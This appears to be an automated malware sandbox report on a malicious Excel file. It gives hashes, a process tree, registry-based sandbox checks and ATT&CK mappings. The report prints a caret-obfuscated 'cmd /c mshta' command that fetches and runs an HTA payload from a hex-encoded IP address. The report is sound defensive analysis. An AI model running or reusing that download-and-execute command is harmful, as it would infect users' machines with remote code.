7711d6fb56bb07b0db1056116eebfe905174f3772177006c61a7d2ecb1768311

Analysis

max time kernel
127s
max time network
169s
platform
windows10_x64
resource
win10-en-20211208
submitted
28-01-2022 01:47

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General

Target

file-11.xls
Size

64KB
MD5

9b93fd2ac370415d233c940926f48636
SHA1

2298b78c197eb4f5b6158cc1690c586a5702b590
SHA256

db73efcf4ce763316a70c7047946d1b85d5b7c0ea41e9727adb41681b7507841
SHA512

c1bd288b8ebe3f1c8995e6e9a0c51b8a2cf3e875aa00faddd15038b41c235f9387a658104d19dbec37d7f2628e67653b95463c28392f98f223b00b2b28359fe7

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xc12a24f5/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1456	1060	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

37 1112 mshta.exe

flow	pid	process
37	1112	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1060 EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE
1060	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1060 wrote to memory of 1456	1060	EXCEL.EXE	cmd.exe
PID 1060 wrote to memory of 1456	1060	EXCEL.EXE	cmd.exe
PID 1456 wrote to memory of 1112	1456	cmd.exe	mshta.exe
PID 1456 wrote to memory of 1112	1456	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\file-11.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1060

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1456

C:\Windows\system32\mshta.exe
mshta http://0xc12a24f5/cc.html
3⤵
- Blocklisted process makes network request
PID:1112

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1060-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-119-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/1060-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/1060-315-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-316-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-317-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/1060-318-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download